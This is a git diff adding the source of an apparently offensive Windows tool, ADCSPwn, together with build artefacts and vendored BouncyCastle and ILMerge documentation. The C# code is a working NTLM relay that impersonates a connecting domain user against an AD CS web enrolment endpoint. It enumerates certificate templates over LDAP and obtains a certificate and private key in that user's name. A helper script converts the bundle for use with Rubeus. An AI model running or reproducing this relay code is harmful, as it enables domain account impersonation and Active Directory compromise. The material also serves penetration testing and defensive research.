+ // store the challenge
+ challenge = challenge.Split()[1].TrimStart();
+
+ // build the responce to the client whos auth we are relaying, giving them the ntlm challenge we have just been given
+ String resp = "";
+
+ resp += "HTTP/1.1 401 Unauthorized\r\nServer: Microsoft-IIS/6.0\r\nContent-Type: text/html\r\nWWW-Authenticate: NTLM ";
+ resp += challenge;
+ resp += "\r\nConnection: Close\r\nContent-Length: 0\r\n\r\n";
+
+ Console.WriteLine(" |_ Relaying NTLMSSP_CHALLENGE to client");
+
+ // give them the challenge
+ return resp;
+
+ }
+
+ else if (MsgType == 3)
+ {
+
+ var Domain_len = BitConverter.ToInt16(NTLMHash, 28);
+ var Domain_offset = BitConverter.ToInt16(NTLMHash, 32);
+ var Domain = NTLMHash.Skip(Domain_offset).Take(Domain_len).ToArray();
+
+ var User_len = BitConverter.ToInt16(NTLMHash, 36);
+ var User_offset = BitConverter.ToInt16(NTLMHash, 40);
+ var User = NTLMHash.Skip(User_offset).Take(User_len).ToArray();
+
+ Console.WriteLine(" |_ Impersonating: "+System.Text.Encoding.Unicode.GetString(Domain)+"\\"+System.Text.Encoding.Unicode.GetString(User));
+
+ // send the challenge responce
+ HttpWebResponse HttpResp = SendWebRequest("http://"+Config.adcs+"/certsrv/certfnsh.asp", "GET", "", "Authorization", auth[1]);
+
+ Console.WriteLine(" | |_ Relaying NTLMSSP_AUTH to target");
+
+ int StatusCode = (int)HttpResp.StatusCode;
+
+ // authentication should be a success
+ if (StatusCode == 401) {
+ Console.WriteLine(" |_ Authentication failed :sadrio:");
+ Stream receiveStream = HttpResp.GetResponseStream();
+ StreamReader readStream = new StreamReader(receiveStream, Encoding.UTF8);
+
+ Console.WriteLine (readStream.ReadToEnd());
+ HttpResp.Close();
+ readStream.Close();
+ System.Environment.Exit(1);
+ }
+
+ HttpResp.Close();
+
+ // get our cookie
+ String cookie = "";
+ for (int i = 0; i < HttpResp.Headers.Count; i++)
+ {
+ if (HttpResp.Headers.GetKey(i) == "Set-Cookie")
+ {
+ cookie = HttpResp.Headers.Get(i).ToString();
+ }
+ }
+
+ // validate our cookie works
+ HttpResp = SendWebRequest("http://"+Config.adcs+"/certsrv/certfnsh.asp", "GET", "", "Cookie", cookie);
+ HttpResp.Close();
+
+ StatusCode = (int)HttpResp.StatusCode;
+
+ if (StatusCode != 200) {
+ Console.WriteLine(" |_ Authentication failed, but cookie was given? wtf");
+ System.Environment.Exit(1);
+ } else {
+ Console.WriteLine(" | |_ SUCCESS");
+ }
+
+ Console.WriteLine(" |_ Generating CSR");
+
+ // generate a rsa public-private key pair
+ var random = new SecureRandom();
+ var keyGenerationParameters = new KeyGenerationParameters(random, 4096);
+
+ RsaKeyPairGenerator generator = new RsaKeyPairGenerator();
+ generator.Init(keyGenerationParameters);
+
+ var keyPair = generator.GenerateKeyPair();
+
+ // set the attributes of the cert
+ var cert_attribs = new Dictionary
+ {
+ { X509Name.CN, System.Text.Encoding.Unicode.GetString(Domain)+"\\"+System.Text.Encoding.Unicode.GetString(User) },
+ };
+
+ var subject = new X509Name(cert_attribs.Keys.ToList(), cert_attribs);
+
+ // generate the CSR
+ var pkcs10CertificationRequest = new Pkcs10CertificationRequest(PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, subject, keyPair.Public, null, keyPair.Private);
+ var csr = Convert.ToBase64String(pkcs10CertificationRequest.GetEncoded());
+
+ // correctly format the certificate
+ var formatted_csr = "";
+ formatted_csr += "-----BEGIN CERTIFICATE REQUEST-----";
+ formatted_csr += csr;
+ formatted_csr += "-----END CERTIFICATE REQUEST-----";
+ formatted_csr = formatted_csr.Replace("\n", "").Replace("+", "%2b").Replace(" ", "+");
+
+ Console.WriteLine(" | |_ DONE");
+ Console.WriteLine(" |_ Requesting a certificate");
+
+ Stream dataStream = null;
+ StreamReader reader = null;
+ bool found_template = false;
+ string responseFromServer = null;
+
+ for (int i = 0; i < CertificateTemplates.Length - 1; i++)
+ {
+ if (CertificateTemplates[i] != null)
+ {
+ // build the post request body
+ var data = "";
+ data += "Mode=newreq&CertRequest=";
+ data += formatted_csr;
+ data += "&CertAttrib=CertificateTemplate:";
+ data += CertificateTemplates[i];
+ data += "&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=";
+
+ // ask the CS to create the certificate
+ HttpResp = SendWebRequest("http://"+Config.adcs+"/certsrv/certfnsh.asp", "POST", data, "Cookie", cookie);
+
+ StatusCode = (int)HttpResp.StatusCode;
+
+ if (StatusCode == 200) {
+ dataStream = HttpResp.GetResponseStream();
+
+ reader = new StreamReader(dataStream);
+ responseFromServer = reader.ReadToEnd();
+
+ if (responseFromServer.Contains("Certificate Request Denied"))
+ {
+ HttpResp.Close();
+ continue;
+ } else {
+ found_template = true;
+
+ Console.WriteLine(" | |_ Found valid template: " + CertificateTemplates[i]);
+
+ break;
+ }
+ } else {
+ HttpResp.Close();
+ }
+ }
+ }
+
+ if (!found_template)
+ {
+ Console.WriteLine(" |_ Unable to find any usable templates for the current user :sadrio:");
+ System.Environment.Exit(1);
+ }
+
+ // find the req id of the certificate
+ string pattern = @"location=""certnew.cer\?ReqID=(.*?)&";
+ Regex rgx = new Regex(pattern, RegexOptions.IgnoreCase);
+
+ string reqid = null;
+ var match = rgx.Match(responseFromServer);
+
+ reqid = match.Groups[1].ToString();
+
+ if (reqid.Length == 0)
+ {
+ Console.WriteLine(" |_ Failed to find the certificate request id... dumping all page content.");
+ Console.WriteLine(responseFromServer);
+ System.Environment.Exit(1);
+ }
+
+ HttpResp.Close();
+
+ Console.WriteLine(" | |_ SUCCESS (ReqID: "+reqid+")");
+ Console.WriteLine(" |_ Downloading certificate");
+
+ // download the created certificate
+ HttpResp = SendWebRequest("http://"+Config.adcs+"/certsrv/certnew.cer?ReqID="+reqid, "GET", "", "Cookie", cookie);
+
+ string certificate = null;
+ using (dataStream = HttpResp.GetResponseStream())
+ {
+ reader = new StreamReader(dataStream);
+ certificate = reader.ReadToEnd();
+ }
+
+ HttpResp.Close();
+
+ Console.WriteLine(" |_ Exporting certificate & private key");
+
+ // bundle together certificate and the private key
+ var privatekey = new StringWriter();
+ var pemWriter = new PemWriter(privatekey);
+
+ pemWriter.WriteObject(keyPair.Private);
+ privatekey.Flush();
+ privatekey.Close();
+
+ var bundle = certificate + privatekey.ToString();
+
+ string b64_bundle = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(bundle));
+
+ Console.WriteLine(" |_ SUCCESS\n\n");
+
+ Console.WriteLine(b64_bundle);
+
+ DieOnNextRun = true;
+
+ // return success so the client won't auth to us again
+ return "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nConnection: Close\r\nContent-Length: 11\r\n\r\nNot Found\r\n";
+ }
+ }
+ }
+
+ return "HTTP/1.1 401 Unauthorized\r\nServer: Microsoft-IIS/6.0\r\nContent-Type: text/html\r\nWWW-Authenticate: NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA==\r\nConnection: Close\r\nContent-Length: 0\r\n\r\n";
+ }
+ }
+}
diff --git a/ADCSPwn/TemplateHunter.cs b/ADCSPwn/TemplateHunter.cs
new file mode 100644
index 0000000..e73e8ce
--- /dev/null
+++ b/ADCSPwn/TemplateHunter.cs
@@ -0,0 +1,33 @@
+using System;
+using System.IO;
+using System.Text;
+using System.DirectoryServices;
+using System.DirectoryServices.ActiveDirectory;
+
+namespace ADCSPwn
+{
+ class TemplateHunter
+ {
+ String Base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=";
+ public String[] FindAll()
+ {
+ String LdapBase = Base + System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain().ToString().Replace(".", ",DC=");
+
+ DirectoryEntry DirEntry = new DirectoryEntry(LdapBase);
+ DirectorySearcher DirSearch = new DirectorySearcher(DirEntry);
+
+ DirSearch.Filter = "(&(name=*))";
+ DirSearch.PageSize = Int32.MaxValue;
+
+ Int32 iter = 0;
+ String[] Templates = new String[1000]; // make this dynamic based on the results count
+ foreach (SearchResult Result in DirSearch.FindAll())
+ {
+ Templates[iter] = Result.Properties["name"][0].ToString();
+ iter++;
+ }
+
+ return Templates;
+ }
+ }
+}
diff --git a/ADCSPwn/base64 b/ADCSPwn/base64
new file mode 100644
index 0000000..e69de29
diff --git a/ADCSPwn/bin/Debug/ADCSPwn.exe b/ADCSPwn/bin/Debug/ADCSPwn.exe
new file mode 100644
index 0000000..235e34e
Binary files /dev/null and b/ADCSPwn/bin/Debug/ADCSPwn.exe differ
diff --git a/ADCSPwn/bin/Debug/ADCSPwn.exe.config b/ADCSPwn/bin/Debug/ADCSPwn.exe.config
new file mode 100644
index 0000000..fad249e
--- /dev/null
+++ b/ADCSPwn/bin/Debug/ADCSPwn.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ADCSPwn/bin/Debug/ADCSPwn.pdb b/ADCSPwn/bin/Debug/ADCSPwn.pdb
new file mode 100644
index 0000000..22cdd5a
Binary files /dev/null and b/ADCSPwn/bin/Debug/ADCSPwn.pdb differ
diff --git a/ADCSPwn/bin/Debug/BouncyCastle.Crypto.dll b/ADCSPwn/bin/Debug/BouncyCastle.Crypto.dll
new file mode 100644
index 0000000..9059e64
Binary files /dev/null and b/ADCSPwn/bin/Debug/BouncyCastle.Crypto.dll differ
diff --git a/ADCSPwn/bin/Debug/ILMerge.exe b/ADCSPwn/bin/Debug/ILMerge.exe
new file mode 100644
index 0000000..d7398e4
Binary files /dev/null and b/ADCSPwn/bin/Debug/ILMerge.exe differ
diff --git a/ADCSPwn/bin/Debug/System.Compiler.dll b/ADCSPwn/bin/Debug/System.Compiler.dll
new file mode 100644
index 0000000..a0a50cb
Binary files /dev/null and b/ADCSPwn/bin/Debug/System.Compiler.dll differ
diff --git a/ADCSPwn/bin/Debug/tmp/BouncyCastle.Crypto.dll.gz b/ADCSPwn/bin/Debug/tmp/BouncyCastle.Crypto.dll.gz
new file mode 100644
index 0000000..722298c
Binary files /dev/null and b/ADCSPwn/bin/Debug/tmp/BouncyCastle.Crypto.dll.gz differ
diff --git a/ADCSPwn/bin/Release/ADCSPwn.exe b/ADCSPwn/bin/Release/ADCSPwn.exe
new file mode 100644
index 0000000..36d3a63
Binary files /dev/null and b/ADCSPwn/bin/Release/ADCSPwn.exe differ
diff --git a/ADCSPwn/bin/Release/ADCSPwn.exe.config b/ADCSPwn/bin/Release/ADCSPwn.exe.config
new file mode 100644
index 0000000..fad249e
--- /dev/null
+++ b/ADCSPwn/bin/Release/ADCSPwn.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ADCSPwn/bin/Release/ADCSPwn.pdb b/ADCSPwn/bin/Release/ADCSPwn.pdb
new file mode 100644
index 0000000..2a45612
Binary files /dev/null and b/ADCSPwn/bin/Release/ADCSPwn.pdb differ
diff --git a/ADCSPwn/bin/Release/BouncyCastle.Crypto.dll b/ADCSPwn/bin/Release/BouncyCastle.Crypto.dll
new file mode 100644
index 0000000..9059e64
Binary files /dev/null and b/ADCSPwn/bin/Release/BouncyCastle.Crypto.dll differ
diff --git a/ADCSPwn/bundle2pkcs12.py b/ADCSPwn/bundle2pkcs12.py
new file mode 100755
index 0000000..e591bfb
--- /dev/null
+++ b/ADCSPwn/bundle2pkcs12.py
@@ -0,0 +1,22 @@
+import os, sys
+import base64
+from OpenSSL import crypto
+
+bundle = sys.argv[1]
+
+os.system("clear")
+
+decoded_bundle = base64.b64decode(bundle).decode()
+
+certificate, privatekey = decoded_bundle.split("-----END CERTIFICATE-----\r\n")
+certificate += "-----END CERTIFICATE-----\r\n"
+
+certificate_obj = crypto.load_certificate(crypto.FILETYPE_PEM, certificate)
+privatekey_obj = crypto.load_privatekey(crypto.FILETYPE_PEM, privatekey)
+p12 = crypto.PKCS12()
+p12.set_certificate(certificate_obj)
+p12.set_privatekey(privatekey_obj)
+pkcs12 = base64.b64encode(p12.export()).decode()
+
+print("PKCS12 bundle below, ready to import into rubeus...\n\n")
+print(pkcs12)
\ No newline at end of file
diff --git a/ADCSPwn/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/ADCSPwn/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs
new file mode 100644
index 0000000..182bcf0
--- /dev/null
+++ b/ADCSPwn/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+//
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
diff --git a/ADCSPwn/obj/Debug/ADCSPwn.csproj.CopyComplete b/ADCSPwn/obj/Debug/ADCSPwn.csproj.CopyComplete
new file mode 100644
index 0000000..e69de29
diff --git a/ADCSPwn/obj/Debug/ADCSPwn.csproj.CoreCompileInputs.cache b/ADCSPwn/obj/Debug/ADCSPwn.csproj.CoreCompileInputs.cache
new file mode 100644
index 0000000..44d3cae
--- /dev/null
+++ b/ADCSPwn/obj/Debug/ADCSPwn.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+91914568c66406cb03964ab0fd7577c48025b0be
diff --git a/ADCSPwn/obj/Debug/ADCSPwn.csproj.FileListAbsolute.txt b/ADCSPwn/obj/Debug/ADCSPwn.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..65c81b1
--- /dev/null
+++ b/ADCSPwn/obj/Debug/ADCSPwn.csproj.FileListAbsolute.txt
@@ -0,0 +1,9 @@
+M:\ADCSPwn\ADCSPwn\obj\Debug\ADCSPwn.csproj.CoreCompileInputs.cache
+M:\ADCSPwn\ADCSPwn\bin\Debug\ADCSPwn.exe.config
+M:\ADCSPwn\ADCSPwn\bin\Debug\ADCSPwn.exe
+M:\ADCSPwn\ADCSPwn\bin\Debug\ADCSPwn.pdb
+M:\ADCSPwn\ADCSPwn\obj\Debug\ADCSPwn.exe
+M:\ADCSPwn\ADCSPwn\obj\Debug\ADCSPwn.pdb
+M:\ADCSPwn\ADCSPwn\bin\Debug\BouncyCastle.Crypto.dll
+M:\ADCSPwn\ADCSPwn\obj\Debug\ADCSPwn.csproj.CopyComplete
+M:\ADCSPwn\ADCSPwn\obj\Debug\ADCSPwn.csprojAssemblyReference.cache
diff --git a/ADCSPwn/obj/Debug/ADCSPwn.csprojAssemblyReference.cache b/ADCSPwn/obj/Debug/ADCSPwn.csprojAssemblyReference.cache
new file mode 100644
index 0000000..12c7547
Binary files /dev/null and b/ADCSPwn/obj/Debug/ADCSPwn.csprojAssemblyReference.cache differ
diff --git a/ADCSPwn/obj/Debug/ADCSPwn.exe b/ADCSPwn/obj/Debug/ADCSPwn.exe
new file mode 100644
index 0000000..235e34e
Binary files /dev/null and b/ADCSPwn/obj/Debug/ADCSPwn.exe differ
diff --git a/ADCSPwn/obj/Debug/ADCSPwn.pdb b/ADCSPwn/obj/Debug/ADCSPwn.pdb
new file mode 100644
index 0000000..22cdd5a
Binary files /dev/null and b/ADCSPwn/obj/Debug/ADCSPwn.pdb differ
diff --git a/ADCSPwn/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/ADCSPwn/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
new file mode 100644
index 0000000..0b08f36
Binary files /dev/null and b/ADCSPwn/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/ADCSPwn/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/ADCSPwn/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs
new file mode 100644
index 0000000..182bcf0
--- /dev/null
+++ b/ADCSPwn/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+//
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
diff --git a/ADCSPwn/obj/Release/ADCSPwn.csproj.CopyComplete b/ADCSPwn/obj/Release/ADCSPwn.csproj.CopyComplete
new file mode 100644
index 0000000..e69de29
diff --git a/ADCSPwn/obj/Release/ADCSPwn.csproj.CoreCompileInputs.cache b/ADCSPwn/obj/Release/ADCSPwn.csproj.CoreCompileInputs.cache
new file mode 100644
index 0000000..37cd564
--- /dev/null
+++ b/ADCSPwn/obj/Release/ADCSPwn.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+db34305eb5b0e7a5ab8f1561dad6e713dad49dc0
diff --git a/ADCSPwn/obj/Release/ADCSPwn.csproj.FileListAbsolute.txt b/ADCSPwn/obj/Release/ADCSPwn.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..a34a96a
--- /dev/null
+++ b/ADCSPwn/obj/Release/ADCSPwn.csproj.FileListAbsolute.txt
@@ -0,0 +1,8 @@
+M:\ADCSPwn\ADCSPwn\bin\Release\ADCSPwn.exe.config
+M:\ADCSPwn\ADCSPwn\bin\Release\ADCSPwn.exe
+M:\ADCSPwn\ADCSPwn\bin\Release\ADCSPwn.pdb
+M:\ADCSPwn\ADCSPwn\bin\Release\BouncyCastle.Crypto.dll
+M:\ADCSPwn\ADCSPwn\obj\Release\ADCSPwn.csproj.CoreCompileInputs.cache
+M:\ADCSPwn\ADCSPwn\obj\Release\ADCSPwn.csproj.CopyComplete
+M:\ADCSPwn\ADCSPwn\obj\Release\ADCSPwn.exe
+M:\ADCSPwn\ADCSPwn\obj\Release\ADCSPwn.pdb
diff --git a/ADCSPwn/obj/Release/ADCSPwn.exe b/ADCSPwn/obj/Release/ADCSPwn.exe
new file mode 100644
index 0000000..e5212e4
Binary files /dev/null and b/ADCSPwn/obj/Release/ADCSPwn.exe differ
diff --git a/ADCSPwn/obj/Release/ADCSPwn.pdb b/ADCSPwn/obj/Release/ADCSPwn.pdb
new file mode 100644
index 0000000..2a45612
Binary files /dev/null and b/ADCSPwn/obj/Release/ADCSPwn.pdb differ
diff --git a/ADCSPwn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/ADCSPwn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
new file mode 100644
index 0000000..458cdd9
Binary files /dev/null and b/ADCSPwn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/ADCSPwn/packages.config b/ADCSPwn/packages.config
new file mode 100644
index 0000000..e711ead
--- /dev/null
+++ b/ADCSPwn/packages.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ADCSPwn/packages/BouncyCastle.1.8.9/.signature.p7s b/ADCSPwn/packages/BouncyCastle.1.8.9/.signature.p7s
new file mode 100644
index 0000000..611fac3
Binary files /dev/null and b/ADCSPwn/packages/BouncyCastle.1.8.9/.signature.p7s differ
diff --git a/ADCSPwn/packages/BouncyCastle.1.8.9/BouncyCastle.1.8.9.nupkg b/ADCSPwn/packages/BouncyCastle.1.8.9/BouncyCastle.1.8.9.nupkg
new file mode 100644
index 0000000..1ce7158
Binary files /dev/null and b/ADCSPwn/packages/BouncyCastle.1.8.9/BouncyCastle.1.8.9.nupkg differ
diff --git a/ADCSPwn/packages/BouncyCastle.1.8.9/README.md b/ADCSPwn/packages/BouncyCastle.1.8.9/README.md
new file mode 100644
index 0000000..270d9cc
--- /dev/null
+++ b/ADCSPwn/packages/BouncyCastle.1.8.9/README.md
@@ -0,0 +1,30 @@
+# The Bouncy Castle Crypto Package For C Sharp
+
+The Bouncy Castle Crypto package is a C\# implementation of cryptographic algorithms and protocols, it was developed by the Legion of the Bouncy Castle, a registered Australian Charity, with a little help! The Legion, and the latest goings on with this package, can be found at [http://www.bouncycastle.org](http://www.bouncycastle.org). In addition to providing basic cryptography algorithms, the package also provides support for CMS, TSP, X.509 certificate generation and a variety of other standards such as OpenPGP.
+
+The Legion also gratefully acknowledges the contributions made to this package by others (see [here](http://www.bouncycastle.org/csharp/contributors.html) for the current list). If you would like to contribute to our efforts please feel free to get in touch with us or visit our [donations page](https://www.bouncycastle.org/donate), sponsor some specific work, or purchase a support contract through [Crypto Workshop](http://www.cryptoworkshop.com).
+
+Except where otherwise stated, this software is distributed under a license based on the MIT X Consortium license. To view the license, [see here](http://www.bouncycastle.org/licence.html). The OpenPGP library also includes a modified BZIP2 library which is licensed under the [Apache Software License, Version 2.0](http://www.apache.org/licenses/).
+
+**Note**: this source tree is not the FIPS version of the APIs - if you are interested in our FIPS version please contact us directly at [office@bouncycastle.org](mailto:office@bouncycastle.org).
+
+## Mailing Lists
+
+For those who are interested, there are 2 mailing lists for participation in this project. To subscribe use the links below and include the word subscribe in the message body. (To unsubscribe, replace **subscribe** with **unsubscribe** in the message body)
+
+* [announce-crypto-csharp-request@bouncycastle.org](mailto:announce-crypto-csharp-request@bouncycastle.org)
+ This mailing list is for new release announcements only, general subscribers cannot post to it.
+* [dev-crypto-csharp-request@bouncycastle.org](mailto:dev-crypto-csharp-request@bouncycastle.org)
+ This mailing list is for discussion of development of the package. This includes bugs, comments, requests for enhancements, questions about use or operation.
+
+**NOTE:**You need to be subscribed to send mail to the above mailing list.
+
+## Feedback
+
+If you want to provide feedback directly to the members of **The Legion** then please use [feedback-crypto@bouncycastle.org](mailto:feedback-crypto@bouncycastle.org), if you want to help this project survive please consider [donating](https://www.bouncycastle.org/donate).
+
+For bug reporting/requests you can report issues here on github, via feedback-crypto if required, and we also have a [Jira issue tracker](http://www.bouncycastle.org/jira). We will accept pull requests based on this repository as well.
+
+## Finally
+
+Enjoy!
diff --git a/ADCSPwn/packages/BouncyCastle.1.8.9/lib/BouncyCastle.Crypto.dll b/ADCSPwn/packages/BouncyCastle.1.8.9/lib/BouncyCastle.Crypto.dll
new file mode 100644
index 0000000..9059e64
Binary files /dev/null and b/ADCSPwn/packages/BouncyCastle.1.8.9/lib/BouncyCastle.Crypto.dll differ
diff --git a/ADCSPwn/packages/ILMerge.3.0.41/.signature.p7s b/ADCSPwn/packages/ILMerge.3.0.41/.signature.p7s
new file mode 100644
index 0000000..1a16f9b
Binary files /dev/null and b/ADCSPwn/packages/ILMerge.3.0.41/.signature.p7s differ
diff --git a/ADCSPwn/packages/ILMerge.3.0.41/ILMerge.3.0.41.nupkg b/ADCSPwn/packages/ILMerge.3.0.41/ILMerge.3.0.41.nupkg
new file mode 100644
index 0000000..80a4164
Binary files /dev/null and b/ADCSPwn/packages/ILMerge.3.0.41/ILMerge.3.0.41.nupkg differ
diff --git a/ADCSPwn/packages/ILMerge.3.0.41/build/ILMerge.props b/ADCSPwn/packages/ILMerge.3.0.41/build/ILMerge.props
new file mode 100644
index 0000000..ebcc0ce
--- /dev/null
+++ b/ADCSPwn/packages/ILMerge.3.0.41/build/ILMerge.props
@@ -0,0 +1,7 @@
+
+
+
+ $(MSBuildThisFileDirectory)..\tools\net452\ILMerge.exe
+
+
+
diff --git a/ADCSPwn/packages/ILMerge.3.0.41/docs/ilmerge-manual.md b/ADCSPwn/packages/ILMerge.3.0.41/docs/ilmerge-manual.md
new file mode 100644
index 0000000..d7481ee
--- /dev/null
+++ b/ADCSPwn/packages/ILMerge.3.0.41/docs/ilmerge-manual.md
@@ -0,0 +1,374 @@
+# ILMerge
+
+Michael Barnett
+Research in Software Engineering (RiSE)
+Microsoft Research
+Copyright © Microsoft Corporation. All rights reserved.
+
+# 1. Introduction
+
+This document describes the ILMerge utility which merges multiple .NET assemblies into a single assembly. However, some .NET assemblies may not be able to be merged because they may contain features such as unmanaged code. I would highly recommend using peverify (the .NET Framework SDK tool) on the output of ILMerge to guarantee that the output is verifiable and will load in the .NET runtime.
+
+ILMerge is packaged as a console application. But all of its functionality is also accessible programmatically. Note that Visual Studio **does** allow one to add an executable as a reference, so you can write a client that uses ILMerge as a library.
+
+ILMerge takes a set of _input assemblies_ and merges them into one _target assembly_. The first assembly in the list of input assemblies is the _primary assembly_. When the primary assembly is an executable, then the target assembly is created as an executable with the same entry point as the primary assembly. Also, if the primary assembly has a strong name, and a .snk file is provided, then the target assembly is re-signed with the specified key so that it also has a strong name.
+
+Note that anything that depended upon any of the names of the input assemblies, e.g., configuration files, must be updated to refer instead to the name of the target assembly.
+
+Any Win32 Resources in the primary assembly are copied over into the target assembly.
+
+There are many options that control the behavior of ILMerge. These are described in the next section.
+
+# 2. Public Interface
+
+The public interface for ILMerge is defined in the ILMerging namespace as the class ILMerge.
+
+```csharp
+namespace ILMerging
+{
+ public class ILMerge { }
+}
+```
+
+To use this class programmatically, just create an instance using the default (nullary) constructor. There are several properties and methods which are used to affect the behavior of the merging. The method `Merge()` is called to actually perform the merging.
+
+## 2.1 AllowDuplicateType
+
+```csharp
+public void AllowDuplicateType(string typeName);
+```
+
+The normal behavior of ILMerge is to not allow there to be more than one public type with the same name. If such a duplicate is found, then an exception is thrown. However, ILMerge can just rename the type so that it no longer causes a conflict. For private types, this is not a problem since no outside client can see it anyway, so ILMerge just does the renaming by default. For public types, it is not often a useful feature to have it renamed. However, there are situations where it is needed. In particular, for obfuscated assemblies, it seems that the obfuscator defines an attribute and creates an assembly-level attribute for the obfuscated assembly using that attribute. This would mean that obfuscated assemblies cannot be merged.
+
+So this option allows the user to either allow all public types to be renamed when they are duplicates, or to specify it for arbitrary type names. On the command line, there can be as many options as desired, if followed by a colon and a type name, otherwise just specify it alone with no colon (and type name) to allow all duplicates.
+
+When used through the API, an argument of "null" means to allow all public types to be renamed.
+
+**Default:** no duplicates of public types allowed
+
+**Command line option:** `[/allowDup[:typeName]]*`
+
+## 2.2 AllowMultipleAssemblyLevelAttributes
+
+```csharp
+public bool AllowMultipleAssemblyLevelAttributes { get; set; }
+```
+
+When this is set before calling Merge, then if the CopyAttributes property (Section 2.7) is also set, any assembly-level attributes names that have the same type are copied over into the target directory as long as the definition of the attribute type specifies that "AllowMultiple" is true.
+
+**Default:** `false`
+
+**Command line option:** `/allowMultiple`
+
+## 2.3 AllowWildCards
+
+```csharp
+public bool AllowWildCards { get; set; }
+```
+
+When this is set before calling Merge, any wild cards in file names are expanded and all matching files will be used as input. Note that because the wild card matching is done by a call to Directory.GetFiles, it does not allow the characters ".." to appear in a file name. So if you want to specify a relative path containing ".." to move up a directory, you will have to use it with the "/lib" option (Section 2.20). That option does allow the use of ".." to move up directories.
+
+**Default:** `false`
+
+**Command line option:** `/wildcards`
+
+## 2.4 AllowZeroPeKind
+
+```csharp
+public bool AllowZeroPeKind { get; set; }
+```
+
+When this is set before calling Merge, then if an assembly's PeKind flag (this is the value of the field listed as .corflags in the Manifest) is zero it will be treated as if it was ILonly. This can be used to allow C++ assemblies to be merged; it does not appear that the C++ compiler writes the value as ILonly. However, if such an assembly has any non-IL features, then they will probably not be copied over into the target assembly correctly. So please use this option with caution.
+
+**Default:** `false`
+
+**Command line option:** `/zeroPeKind`
+
+## 2.5 AttributeFile
+
+```csharp
+public string AttributeFile { get; set; }
+```
+
+If this is set before calling Merge, then it specifies the path and filename to an _atttribute assembly_, an assembly that will be used to get all of the assembly-level attributes such as Culture, Version, etc. It will also be used to get the Win32 Resources from. It is mutually exclusive with the CopyAttributes property (Section 2.7). When it is not specified, then the Win32 Resources from the primary assembly are copied over into the target assembly. If it is not a full path, then the current directory is used.
+
+**Default:** `null`
+
+**Command line option:** `/attr:filename`
+
+## 2.6 Closed
+
+```csharp
+public bool Closed { get; set; }
+```
+
+When this is set before calling Merge, then the "transitive closure" of the input assemblies is computed and added to the list of input assemblies. An assembly is considered part of the transitive closure if it is referenced, either directly or indirectly, from one of the originally specified input assemblies and it has an external reference to one of the input assemblies, or one of the assemblies that has such a reference. Complicated, but that is life...
+
+**Default:** `false`
+
+**Command line option:** `/closed`
+
+## 2.7 CopyAttributes
+
+```csharp
+public bool CopyAttributes { get; set; }
+```
+
+When this is set before calling Merge, then the assembly level attributes of each input assembly are copied over into the target assembly. Any duplicate attribute overwrites a previously copied attribute. If you want to allow duplicates (for those attributes whose type specifies "AllowMultiple" in their definition), then you can also set the AllowMultipleAssemblyLevelAttributes (Section 2.2). The input assemblies are processed in the order they are specified. This option is mutually exclusive with specifying an attribute assembly, i.e., the property AttributeFile (Section 2.5). When an attribute assembly is specified, then no assembly-level attributes are copied over from the input assemblies.
+
+**Default:** `false`
+
+**Command line option:** `/copyattrs`
+
+## 2.8 DebugInfo
+
+```csharp
+public bool DebugInfo { get; set; }
+```
+
+When this is set to true, ILMerge creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies. If you do not want a .pdb file created for the output assembly, either set this property to false or else specify the /ndebug option at the command line.
+
+**Default:** `true`
+
+**Command line option:** `/ndebug`
+
+## 2.9 DelaySign
+
+```csharp
+public bool DelaySign { get; set; }
+```
+
+When this is set before calling Merge, then the target assembly will be delay signed. This can be set only in conjunction with the `/keyfile` option (Section 2.13).
+
+**Default:** `false`
+
+## 2.10 ExcludeFile
+
+```csharp
+public string ExcludeFile { get; set; }
+```
+
+This property is used only in conjunction with the Internalize property (Section 2.12). When this is set before calling Merge, it indicates the path and filename that will be used to identify types that are not to have their visibility modified. If Internalize is true, but ExcludeFile is "", then all types in any assembly other than the primary assembly are made non-public. Setting this property implicitly sets Internalize to true.
+
